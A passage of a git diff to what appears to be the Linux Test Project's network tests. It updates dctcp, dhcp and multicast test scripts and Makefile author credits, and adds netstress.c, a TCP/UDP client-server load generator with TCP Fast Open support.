-	tst_resm TINFO "$def_alg time '$res0' ms"
+	tst_netload -H $(tst_ipaddr rhost)
+	local res0="$(cat tst_netload.res)"
 
 	set_cong_alg "dctcp"
 
-	tst_netload $(tst_ipaddr rhost) tfo_res TFO
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "test with 'dctcp' has failed"
-		return
-	fi
-	local res1="$(cat tfo_res)"
-	tst_resm TINFO "dctcp time '$res1' ms"
+	tst_netload -H $(tst_ipaddr rhost)
+	local res1="$(cat tst_netload.res)"
 
 	local per=$(( $res0 * 100 / $res1 - 100 ))
 
diff --git a/testcases/network/dhcp/dhcp_lib.sh b/testcases/network/dhcp/dhcp_lib.sh
index 140619d..85f9b88 100755
--- a/testcases/network/dhcp/dhcp_lib.sh
+++ b/testcases/network/dhcp/dhcp_lib.sh
@@ -26,12 +26,12 @@
 	while [ $count -le 10 ]; do
 		pkill -x $dhcp_name
 		[ "$(pgrep -x $dhcp_name)" ] || return 0
-		usleep 100000
+		tst_sleep 100ms
 		count=$((count + 1))
 	done
 
 	pkill -9 -x $dhcp_name
-	usleep 100000
+	tst_sleep 100ms
 	[ "$(pgrep -x $dhcp_name)" ] && return 1 || return 0
 }
 
diff --git a/testcases/network/iproute/Makefile b/testcases/network/iproute/Makefile
index 334ad02..0774380 100644
--- a/testcases/network/iproute/Makefile
+++ b/testcases/network/iproute/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/network/iptables/Makefile b/testcases/network/iptables/Makefile
index 4849d91..afb96e9 100644
--- a/testcases/network/iptables/Makefile
+++ b/testcases/network/iptables/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/network/multicast/Makefile b/testcases/network/multicast/Makefile
index ce28018..6ade5e5 100644
--- a/testcases/network/multicast/Makefile
+++ b/testcases/network/multicast/Makefile
@@ -17,10 +17,15 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
+
+ifeq ($(ANDROID),1)
+FILTER_OUT_DIRS		+= mc_gethost
+endif
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/network/multicast/mc_cmds/Makefile b/testcases/network/multicast/mc_cmds/Makefile
index 6579ad1..cf5ae6f 100644
--- a/testcases/network/multicast/mc_cmds/Makefile
+++ b/testcases/network/multicast/mc_cmds/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir	?= ../../../..
diff --git a/testcases/network/multicast/mc_cmds/mc_cmds b/testcases/network/multicast/mc_cmds/mc_cmds
index 4848ab6..8077b1f 100755
--- a/testcases/network/multicast/mc_cmds/mc_cmds
+++ b/testcases/network/multicast/mc_cmds/mc_cmds
@@ -1,6 +1,6 @@
 #! /bin/sh
 
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2000
 #
 # This program is free software; you can redistribute it and/or
@@ -31,15 +31,14 @@
 
 . test_net.sh
 
-sysctl_path="/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts"
+knob="net.ipv4.icmp_echo_ignore_broadcasts"
 knob_changed=
 
 setup()
 {
-	val=$(cat $sysctl_path)
-	if [ $val -ne 0 ]; then
-		echo 0 > $sysctl_path || \
-			tst_brkm TBROK "failed to unset '$sysctl_path'"
+	val=$(sysctl -n $knob)
+	if [ "$val" -ne 0 ]; then
+		ROD sysctl -q ${knob}=0
 		knob_changed=1
 	fi
 	tst_tmpdir
@@ -50,14 +49,14 @@
 	ip addr show $(tst_iface) | grep -q 'MULTICAST' || \
 		tst_brkm TFAIL "Multicast not listed for $(tst_iface)"
 
-	ip maddr show $(tst_iface) | grep -q '224.0.0.1' || \
-		tst_brkm TFAIL "all-host-group for $IFNAME not joined"
-
-	# Do the ping tests: Execute ping 224.0.0.1 - Verify that the proper
-	# number of responses are returned.
-	tst_resm TINFO "Ping all-host-groups address(over default route!)"
-	ping -c2 224.0.0.1 > ping_out.log || \
-		tst_brkm TFAIL "No response from MC hosts to ping 224.0.0.1"
+	ip maddr show $(tst_iface) | grep -q '224.0.0.1'
+	if [ $? -ne 0 ]; then
+		tst_resm TWARN "'ip maddr show $(tst_iface)' failed," \
+			       " parsing 'ip maddr show'"
+		ip maddr show | sed -ne "/\s$(tst_iface)/,/^[0-9]/p" | \
+			grep -q 224.0.0.1 || \
+			tst_brkm TFAIL "$(tst_iface) not joined 224.0.0.1"
+	fi
 
 	tst_resm TINFO "Ping all-host-groups over specified interface"
 	ping -c2 -I $(tst_ipaddr) 224.0.0.1 > ping_out.log
@@ -68,8 +67,10 @@
 			tst_brkm TFAIL "No response from MC hosts to ping -c2 "\
 				       "-I $(tst_ipaddr) 224.0.0.1"
 	fi
+
 	grep -q $(tst_ipaddr) ping_out.log
 	if [ $? -ne 0 ]; then
+		cat ping_out.log
 		tst_brkm TFAIL "Local host did not respond to ping -c2 "\
 			       "-I $(tst_iface) 224.0.0.1"
 	fi
@@ -80,7 +81,7 @@
 
 do_cleanup()
 {
-	[ "$knob_changed" ] && echo 1 > $sysctl_path
+	[ "$knob_changed" ] && sysctl -q ${knob}=1
 	tst_rmdir
 }
 
diff --git a/testcases/network/multicast/mc_commo/Makefile b/testcases/network/multicast/mc_commo/Makefile
index dac2fb8..f183ca5 100644
--- a/testcases/network/multicast/mc_commo/Makefile
+++ b/testcases/network/multicast/mc_commo/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir	?= ../../../..
diff --git a/testcases/network/multicast/mc_gethost/mc_gethost.c b/testcases/network/multicast/mc_gethost/mc_gethost.c
index 5b9a790..a5c5d01 100644
--- a/testcases/network/multicast/mc_gethost/mc_gethost.c
+++ b/testcases/network/multicast/mc_gethost/mc_gethost.c
@@ -25,7 +25,7 @@
 int argc;
 char **argv;
 {
-	u_char b_addr[IN6ADDRSZ];
+	unsigned char b_addr[IN6ADDRSZ];
 	struct hostent *host;
 	char **ap, **cp, *arg;
 	const char *prog = "amnesia";
diff --git a/testcases/network/multicast/mc_member/Makefile b/testcases/network/multicast/mc_member/Makefile
index ce95a4d..78cb882 100644
--- a/testcases/network/multicast/mc_member/Makefile
+++ b/testcases/network/multicast/mc_member/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/multicast/mc_opts/Makefile b/testcases/network/multicast/mc_opts/Makefile
index e00dedd..ceeaa59 100644
--- a/testcases/network/multicast/mc_opts/Makefile
+++ b/testcases/network/multicast/mc_opts/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/netstress/.gitignore b/testcases/network/netstress/.gitignore
new file mode 100644
index 0000000..587460f
--- /dev/null
+++ b/testcases/network/netstress/.gitignore
@@ -0,0 +1 @@
+/netstress
diff --git a/testcases/network/netstress/Makefile b/testcases/network/netstress/Makefile
new file mode 100644
index 0000000..0ada526
--- /dev/null
+++ b/testcases/network/netstress/Makefile
@@ -0,0 +1,22 @@
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+LDLIBS			+= -lpthread -lrt
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/netstress/netstress.c b/testcases/network/netstress/netstress.c
new file mode 100644
index 0000000..8184716
--- /dev/null
+++ b/testcases/network/netstress/netstress.c
@@ -0,0 +1,760 @@
+/*
+ * Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+ *
+ */
+
+#include <pthread.h>
+#include <stdlib.h>
+#include <limits.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <poll.h>
+#include <time.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+
+#include "lapi/posix_clocks.h"
+#include "tst_safe_pthread.h"
+#include "tst_test.h"
+
+static const int max_msg_len = (1 << 16) - 1;
+
+/* TCP server requiers */
+#ifndef TCP_FASTOPEN
+#define TCP_FASTOPEN	23
+#endif
+
+#ifndef SO_BUSY_POLL
+#define SO_BUSY_POLL	46
+#endif
+
+/* TCP client requiers */
+#ifndef MSG_FASTOPEN
+#define MSG_FASTOPEN	0x20000000 /* Send data in TCP SYN */
+#endif
+
+enum {
+	SERVER_HOST = 0,
+	CLIENT_HOST,
+};
+static char *client_mode;
+
+enum {
+	TFO_DISABLED = 0,
+	TFO_ENABLED,
+};
+static int tfo_value = -1;
+static char *fastopen_api;
+
+static const char tfo_cfg[]		= "/proc/sys/net/ipv4/tcp_fastopen";
+static const char tcp_tw_reuse[]	= "/proc/sys/net/ipv4/tcp_tw_reuse";
+static int tw_reuse_changed;
+static int tfo_cfg_value;
+static int tfo_cfg_changed;
+static int tfo_queue_size	= 100;
+static int max_queue_len	= 100;
+static const int client_byte	= 0x43;
+static const int server_byte	= 0x53;
+static const int start_byte	= 0x24;
+static const int start_fin_byte	= 0x25;
+static const int end_byte	= 0x0a;
+static int client_msg_size	= 32;
+static int server_msg_size	= 128;
+static char *client_msg;
+static char *server_msg;
+
+/*
+ * The number of requests from client after
+ * which server has to close the connection.
+ */
+static int server_max_requests	= 3;
+static int client_max_requests	= 10;
+static int clients_num;
+static char *tcp_port		= "61000";
+static char *server_addr	= "localhost";
+static int busy_poll		= -1;
+static char *use_udp;
+/* server socket */
+static int sfd;
+
+/* how long a client must wait for the server's reply, microsec */
+static long wait_timeout = 60000000L;
+
+/* in the end test will save time result in this file */
+static char *rpath = "tfo_result";
+
+static char *verbose;
+
+static char *narg, *Narg, *qarg, *rarg, *Rarg, *aarg, *Targ, *barg, *targ;
+
+/* common structure for TCP/UDP server and TCP/UDP client */
+struct net_func {
+	void (*init)(void);
+	void (*run)(void);
+	void (*cleanup)(void);
+};
+static struct net_func net;
+
+#define MAX_THREADS	10000
+static pthread_attr_t attr;
+static pthread_t *thread_ids;
+
+static struct addrinfo *remote_addrinfo;
+static struct addrinfo *local_addrinfo;
+static struct sockaddr_storage remote_addr;
+static socklen_t remote_addr_len;
+
+static void init_socket_opts(int sd)
+{
+	if (busy_poll >= 0) {
+		SAFE_SETSOCKOPT(sd, SOL_SOCKET, SO_BUSY_POLL,
+			&busy_poll, sizeof(busy_poll));
+	}
+}
+
+static void do_cleanup(void)
+{
+	free(client_msg);
+	free(server_msg);
+
+	if (net.cleanup)
+		net.cleanup();
+
+	if (tfo_cfg_changed) {
+		tst_res(TINFO, "unset '%s' back to '%d'",
+			tfo_cfg, tfo_cfg_value);
+		SAFE_FILE_PRINTF(tfo_cfg, "%d", tfo_cfg_value);
+	}
+
+	if (tw_reuse_changed) {
+		SAFE_FILE_PRINTF(tcp_tw_reuse, "0");
+		tst_res(TINFO, "unset '%s' back to '0'", tcp_tw_reuse);
+	}
+}
+TST_DECLARE_ONCE_FN(cleanup, do_cleanup)
+
+static int sock_recv_poll(int fd, char *buf, int buf_size, int offset)
+{
+	struct pollfd pfd;
+	pfd.fd = fd;
+	pfd.events = POLLIN;
+	int len = -1;
+
+	while (1) {
+		errno = 0;
+		int ret = poll(&pfd, 1, wait_timeout / 1000);
+		if (ret == -1) {
+			if (errno == EINTR)
+				continue;
+			break;
+		}
+
+		if (ret == 0) {
+			errno = ETIME;
+			break;
+		}
+
+		if (ret != 1 || !(pfd.revents & POLLIN))
+			break;
+
+		errno = 0;
+		len = recvfrom(fd, buf + offset, buf_size - offset,
+			       MSG_DONTWAIT, (struct sockaddr *)&remote_addr,
+			       &remote_addr_len);
+
+		if (len == -1 && errno == EINTR)
+			continue;
+
+		break;
+	}
+
+	return len;
+}
+
+static int client_recv(int *fd, char *buf)
+{
+	int len, offset = 0;
+
+	while (1) {
+		errno = 0;
+		len = sock_recv_poll(*fd, buf, server_msg_size, offset);
+
+		/* socket closed or msg is not valid */
+		if (len < 1 || (offset + len) > server_msg_size ||
+		   (buf[0] != start_byte && buf[0] != start_fin_byte)) {
+			if (!errno)
+				errno = ENOMSG;
+			break;
+		}
+		offset += len;
+		if (buf[offset - 1] != end_byte)
+			continue;
+
+		if (verbose) {
+			tst_res_hexd(TINFO, buf, offset,
+				"msg recv from sock %d:", *fd);
+		}
+
+		/* recv last msg, close socket */
+		if (buf[0] == start_fin_byte)
+			break;
+		return 0;
+	}
+
+	SAFE_CLOSE(*fd);
+	return (errno) ? -1 : 0;
+}
+
+static int client_connect_send(const char *msg, int size)
+{
+	int cfd = SAFE_SOCKET(remote_addrinfo->ai_family,
+			 remote_addrinfo->ai_socktype, 0);
+
+	init_socket_opts(cfd);
+
+	if (fastopen_api) {
+		/* Replaces connect() + send()/write() */
+		SAFE_SENDTO(1, cfd, msg, size, MSG_FASTOPEN | MSG_NOSIGNAL,
+			remote_addrinfo->ai_addr, remote_addrinfo->ai_addrlen);
+	} else {
+		/* old TCP API */
+		SAFE_CONNECT(cfd, remote_addrinfo->ai_addr,
+			     remote_addrinfo->ai_addrlen);
+		SAFE_SEND(1, cfd, msg, size, MSG_NOSIGNAL);
+	}
+
+	return cfd;
+}
+
+void *client_fn(LTP_ATTRIBUTE_UNUSED void *arg)
+{
+	char buf[server_msg_size];
+	int cfd, i = 0;
+	intptr_t err = 0;
+
+	/* connect & send requests */
+	cfd = client_connect_send(client_msg, client_msg_size);
+	if (cfd == -1) {
+		err = errno;
+		goto out;
+	}
+
+	if (client_recv(&cfd, buf)) {
+		err = errno;
+		goto out;
+	}
+
+	for (i = 1; i < client_max_requests; ++i) {
+		if (use_udp)
+			goto send;
+
+		if (cfd == -1) {
+			cfd = client_connect_send(client_msg, client_msg_size);
+			if (cfd == -1) {
+				err = errno;
+				goto out;
+			}
+
+			if (client_recv(&cfd, buf)) {
+				err = errno;
+				break;
+			}
+			continue;
+		}
+
+send:
+		if (verbose) {
+			tst_res_hexd(TINFO, client_msg, client_msg_size,
+				"try to send msg[%d]", i);
+		}
+
+		SAFE_SEND(1, cfd, client_msg, client_msg_size, MSG_NOSIGNAL);
+
+		if (client_recv(&cfd, buf)) {
+			err = errno;
+			break;
+		}
+	}
+
+	if (cfd != -1)
+		SAFE_CLOSE(cfd);
+
+out:
+	if (i != client_max_requests)
+		tst_res(TWARN, "client exit on '%d' request", i);
+
+	return (void *) err;
+}
+
+union net_size_field {
+	char bytes[2];
+	uint16_t value;
+};
+
+static void make_client_request(void)
+{
+	client_msg[0] = start_byte;
+
+	/* set size for reply */
+	union net_size_field net_size;
+	net_size.value = htons(server_msg_size);
+	client_msg[1] = net_size.bytes[0];
+	client_msg[2] = net_size.bytes[1];
+
+	client_msg[client_msg_size - 1] = end_byte;
+}
+
+static int parse_client_request(const char *msg)
+{
+	union net_size_field net_size;
+	net_size.bytes[0] = msg[1];
+	net_size.bytes[1] = msg[2];
+	int size = ntohs(net_size.value);
+	if (size < 2 || size > max_msg_len)
+		return -1;
+
+	return size;
+}
+
+static struct timespec tv_client_start;
+static struct timespec tv_client_end;
+
+static void client_init(void)
+{
+	if (clients_num >= MAX_THREADS) {
+		tst_brk(TBROK, "Unexpected num of clients '%d'",
+			clients_num);
+	}
+
+	thread_ids = SAFE_MALLOC(sizeof(pthread_t) * clients_num);
+
+	client_msg = SAFE_MALLOC(client_msg_size);
+	memset(client_msg, client_byte, client_msg_size);
+
+	make_client_request();
+
+	struct addrinfo hints;
+	memset(&hints, 0, sizeof(struct addrinfo));
+	hints.ai_family = AF_UNSPEC;
+	hints.ai_socktype = (use_udp) ? SOCK_DGRAM : SOCK_STREAM;
+	hints.ai_flags = 0;
+	hints.ai_protocol = 0;
+
+	int err = getaddrinfo(server_addr, tcp_port, &hints, &remote_addrinfo);
+	if (err) {
+		tst_brk(TBROK, "getaddrinfo of '%s' failed, %s",
+			server_addr, gai_strerror(err));
+	}
+
+	tst_res(TINFO, "Running the test over IPv%s",
+		(remote_addrinfo->ai_family == AF_INET6) ? "6" : "4");
+
+	clock_gettime(CLOCK_MONOTONIC_RAW, &tv_client_start);
+	int i;
+	for (i = 0; i < clients_num; ++i)
+		SAFE_PTHREAD_CREATE(&thread_ids[i], 0, client_fn, NULL);
+}
+
+static void client_run(void)
+{
+	void *res = NULL;
+	long clnt_time = 0;
+	int i;
+	for (i = 0; i < clients_num; ++i) {
+		pthread_join(thread_ids[i], &res);
+		if (res) {
+			tst_brk(TBROK, "client[%d] failed: %s",
+				i, strerror((intptr_t)res));
+		}
+	}
+
+	clock_gettime(CLOCK_MONOTONIC_RAW, &tv_client_end);
+	clnt_time = (tv_client_end.tv_sec - tv_client_start.tv_sec) * 1000 +
+		(tv_client_end.tv_nsec - tv_client_start.tv_nsec) / 1000000;
+
+	tst_res(TINFO, "total time '%ld' ms", clnt_time);
+
+	/* ask server to terminate */
+	client_msg[0] = start_fin_byte;
+	int cfd = client_connect_send(client_msg, client_msg_size);
+	if (cfd != -1) {
+		shutdown(cfd, SHUT_WR);
+		SAFE_CLOSE(cfd);
+	}
+	/* the script tcp_fastopen_run.sh will remove it */
+	SAFE_FILE_PRINTF(rpath, "%ld", clnt_time);
+
+	tst_res(TPASS, "test completed");
+}
+
+static void client_cleanup(void)
+{
+	free(thread_ids);
+
+	if (remote_addrinfo)
+		freeaddrinfo(remote_addrinfo);
+}
+
+static void make_server_reply(char *send_msg, int size)
+{
+	memset(send_msg, server_byte, size - 1);
+	send_msg[0] = start_byte;
+	send_msg[size - 1] = end_byte;
+}
+
+void *server_fn(void *cfd)
+{
+	int client_fd = (intptr_t) cfd;
+	int num_requests = 0, offset = 0;
+	/* Reply will be constructed from first client request */
+	char send_msg[max_msg_len];
+	int send_msg_size = 0;
+	char recv_msg[max_msg_len];
+	ssize_t recv_len;
+
+	send_msg[0] = '\0';
+
+	init_socket_opts(client_fd);
+
+	while (1) {
+		recv_len = sock_recv_poll(client_fd, recv_msg,
+			max_msg_len, offset);
+
+		if (recv_len == 0)
+			break;
+
+		if (recv_len < 0 || (offset + recv_len) > max_msg_len ||
+		   (recv_msg[0] != start_byte &&
+		    recv_msg[0] != start_fin_byte)) {
+			tst_res(TFAIL, "recv failed, sock '%d'", client_fd);
+			goto out;
+		}
+
+		offset += recv_len;
+
+		if (recv_msg[offset - 1] != end_byte) {
+			/* msg is not complete, continue recv */
+			continue;
+		}
+
+		/* client asks to terminate */
+		if (recv_msg[0] == start_fin_byte)
+			goto out;
+
+		if (verbose) {
+			tst_res_hexd(TINFO, recv_msg, offset,
+				"msg recv from sock %d:", client_fd);
+		}
+
+		/* if we send reply for the first time, construct it here */
+		if (send_msg[0] != start_byte) {
+			send_msg_size = parse_client_request(recv_msg);
+			if (send_msg_size < 0) {
+				tst_res(TFAIL, "wrong msg size '%d'",
+					send_msg_size);
+				goto out;
+			}
+			make_server_reply(send_msg, send_msg_size);
+		}
+
+		offset = 0;
+
+		/*
+		 * It will tell client that server is going
+		 * to close this connection.
+		 */
+		if (!use_udp && ++num_requests >= server_max_requests)
+			send_msg[0] = start_fin_byte;
+
+		SAFE_SENDTO(1, client_fd, send_msg, send_msg_size, MSG_NOSIGNAL,
+			(struct sockaddr *)&remote_addr, remote_addr_len);
+
+		if (!use_udp && num_requests >= server_max_requests) {
+			/* max reqs, close socket */
+			shutdown(client_fd, SHUT_WR);
+			break;
+		}
+	}
+
+	SAFE_CLOSE(client_fd);
+	return NULL;
+
+out:
+	SAFE_CLOSE(client_fd);
+	tst_brk(TBROK, "Server closed");
+	return NULL;
+}
+
+static pthread_t server_thread_add(intptr_t client_fd)
+{
+	pthread_t id;
+	SAFE_PTHREAD_CREATE(&id, &attr, server_fn, (void *) client_fd);
+	return id;
+}
+
+static void server_init(void)
+{
+	struct addrinfo hints;
+	memset(&hints, 0, sizeof(struct addrinfo));
+	hints.ai_family = AF_INET6;
+	hints.ai_socktype = (use_udp) ? SOCK_DGRAM : SOCK_STREAM;
+	hints.ai_flags = AI_PASSIVE;
+
+	int err = getaddrinfo(NULL, tcp_port, &hints, &local_addrinfo);
+
+	if (err)
+		tst_brk(TBROK, "getaddrinfo failed, %s", gai_strerror(err));
+
+	if (!local_addrinfo)
+		tst_brk(TBROK, "failed to get the address");
+
+	/* IPv6 socket is also able to access IPv4 protocol stack */
+	sfd = SAFE_SOCKET(AF_INET6, local_addrinfo->ai_socktype, 0);
+	const int flag = 1;
+	SAFE_SETSOCKOPT(sfd, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
+
+	tst_res(TINFO, "assigning a name to the server socket...");
+	SAFE_BIND(sfd, local_addrinfo->ai_addr, local_addrinfo->ai_addrlen);
+
+	freeaddrinfo(local_addrinfo);
+
+	if (use_udp)
+		return;
+
+	init_socket_opts(sfd);
+
+	if (fastopen_api) {
+		SAFE_SETSOCKOPT(sfd, IPPROTO_TCP, TCP_FASTOPEN,
+			&tfo_queue_size, sizeof(tfo_queue_size));
+	}
+
+	SAFE_LISTEN(sfd, max_queue_len);
+	tst_res(TINFO, "Listen on the socket '%d', port '%s'", sfd, tcp_port);
+}
+
+static void server_cleanup(void)
+{
+	SAFE_CLOSE(sfd);
+}
+
+static void server_run_udp(void)
+{
+	pthread_t p_id = server_thread_add(sfd);
+
+	SAFE_PTHREAD_JOIN(p_id, NULL);
+}
+
+static void server_run(void)
+{
+	/* IPv4 source address will be mapped to IPv6 address */
+	struct sockaddr_in6 addr6;
+	socklen_t addr_size = sizeof(addr6);
+
+	pthread_attr_init(&attr);
+
+	/*
+	 * detaching threads allow to reclaim thread's resources
+	 * once a thread finishes its work.
+	 */
+	if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED) != 0)
+		tst_brk(TBROK | TERRNO, "setdetachstate failed");
+
+	while (1) {
+		int client_fd = accept(sfd, (struct sockaddr *)&addr6,
+			&addr_size);
+
+		if (client_fd == -1)
+			tst_brk(TBROK, "Can't create client socket");
+
+		if (verbose) {
+			char addr_buf[INET6_ADDRSTRLEN];
+			tst_res(TINFO, "conn: port '%d', addr '%s'",
+				addr6.sin6_port, inet_ntop(AF_INET6,
+				&addr6.sin6_addr, addr_buf, INET6_ADDRSTRLEN));
+		}
+
+		server_thread_add(client_fd);
+	}
+}
+
+static void require_root(const char *file)
+{
+	if (!geteuid())
+		return;
+	tst_brk(TCONF, "Test needs to be run as root to change %s", file);
+}
+
+static void check_tfo_value(void)
+{
+	/* Check if we can write to tcp_fastopen knob. We might be
+	 * inside netns and either have read-only permission or
+	 * doesn't have the knob at all.
+	 */
+	if (access(tfo_cfg, W_OK) < 0) {
+		/* TODO check /proc/self/ns/ or TST_USE_NETNS env var */
+		tst_res(TINFO, "can't read %s, assume server runs in netns",
+			tfo_cfg);
+		return;
+	}
+
+	SAFE_FILE_SCANF(tfo_cfg, "%d", &tfo_cfg_value);
+	tst_res(TINFO, "'%s' is %d", tfo_cfg, tfo_cfg_value);
+
+	/* The check can be the first in this function but set here
+	 * to allow to print information about the currently set config
+	 */
+	if (tfo_value < 0)
+		return;
+
+	if (tfo_cfg_value == tfo_value)
+		return;
+
+	require_root(tfo_cfg);
+
+	tst_res(TINFO, "set '%s' to '%d'", tfo_cfg, tfo_value);
+
+	SAFE_FILE_PRINTF(tfo_cfg, "%d", tfo_value);
+	tfo_cfg_changed = 1;
+}
+
+static void check_tw_reuse(void)
+{
+	if (access(tcp_tw_reuse, W_OK) < 0)
+		return;
+
+	int reuse_value = 0;
+
+	SAFE_FILE_SCANF(tcp_tw_reuse, "%d", &reuse_value);
+	if (reuse_value) {
+		tst_res(TINFO, "tcp_tw_reuse is already set");
+		return;
+	}
+
+	require_root(tfo_cfg);
+
+	SAFE_FILE_PRINTF(tcp_tw_reuse, "1");
+	tw_reuse_changed = 1;
+	tst_res(TINFO, "set '%s' to '1'", tcp_tw_reuse);
+}
+
+static void setup(void)
+{
+	if (tst_parse_int(aarg, &clients_num, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid client number '%s'", aarg);
+	if (tst_parse_int(rarg, &client_max_requests, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid client max requests '%s'", rarg);
+	if (tst_parse_int(Rarg, &server_max_requests, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid server max requests '%s'", Rarg);
+	if (tst_parse_int(narg, &client_msg_size, 3, max_msg_len))
+		tst_brk(TBROK, "Invalid client msg size '%s'", narg);
+	if (tst_parse_int(Narg, &server_msg_size, 3, max_msg_len))
+		tst_brk(TBROK, "Invalid server msg size '%s'", Narg);
+	if (tst_parse_int(qarg, &tfo_queue_size, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid TFO queue size '%s'", qarg);
+	if (tst_parse_long(Targ, &wait_timeout, 0L, LONG_MAX))
+		tst_brk(TBROK, "Invalid wait timeout '%s'", Targ);
+	if (tst_parse_int(barg, &busy_poll, 0, INT_MAX))
+		tst_brk(TBROK, "Invalid busy poll timeout'%s'", barg);
+	if (tst_parse_int(targ, &tfo_value, 0, INT_MAX))
+		tst_brk(TBROK, "Invalid net.ipv4.tcp_fastopen '%s'", targ);
+
+	/* if client_num is not set, use num of processors */
+	if (!clients_num)
+		clients_num = sysconf(_SC_NPROCESSORS_ONLN);
+
+	if (tfo_value > 0 && tst_kvercmp(3, 7, 0) < 0)
+		tst_brk(TCONF, "Test must be run with kernel 3.7 or newer");
+
+	if (busy_poll >= 0 && tst_kvercmp(3, 11, 0) < 0)
+		tst_brk(TCONF, "Test must be run with kernel 3.11 or newer");
+
+	if (client_mode) {
+		tst_res(TINFO, "connection: addr '%s', port '%s'",
+			server_addr, tcp_port);
+		tst_res(TINFO, "client max req: %d", client_max_requests);
+		tst_res(TINFO, "clients num: %d", clients_num);
+		tst_res(TINFO, "client msg size: %d", client_msg_size);
+		tst_res(TINFO, "server msg size: %d", server_msg_size);
+		net.init	= client_init;
+		net.run		= client_run;
+		net.cleanup	= client_cleanup;
+
+		check_tw_reuse();
+	} else {
+		tst_res(TINFO, "max requests '%d'",
+			server_max_requests);
+		net.init	= server_init;
+		net.run		= (use_udp) ? server_run_udp : server_run;
+		net.cleanup	= (use_udp) ? NULL : server_cleanup;
+	}
+
+	remote_addr_len = sizeof(struct sockaddr_storage);
+
+	if (use_udp) {
+		tst_res(TINFO, "using UDP");
+		fastopen_api = NULL;
+	} else {
+		tst_res(TINFO, "TCP %s is using %s TCP API.",
+			(client_mode) ? "client" : "server",
+			(fastopen_api) ? "Fastopen" : "old");
+
+		check_tfo_value();
+	}
+
+	net.init();
+}
+
+static void do_test(void)
+{
+	net.run();
+}
+
+static struct tst_option options[] = {
+	{"v", &verbose, "-v       Verbose"},
+	{"f", &fastopen_api, "-f       Use TFO API, default is old API"},
+	{"t:", &targ, "-t x     Set tcp_fastopen value"},
+
+	{"g:", &tcp_port, "-g x     x - server port"},
+	{"b:", &barg, "-b x     x - low latency busy poll timeout"},
+	{"U", &use_udp, "-U       Use UDP\n"},
+
+	{"H:", &server_addr, "Client:\n-H x     Server name or IP address"},
+	{"l", &client_mode, "-l       Become client, default is server"},
+	{"a:", &aarg, "-a x     Number of clients running in parallel"},
+	{"r:", &rarg, "-r x     Number of client requests"},
+	{"n:", &narg, "-n x     Client message size"},
+	{"N:", &Narg, "-N x     Server message size"},
+	{"T:", &Targ, "-T x     Reply timeout in microsec."},
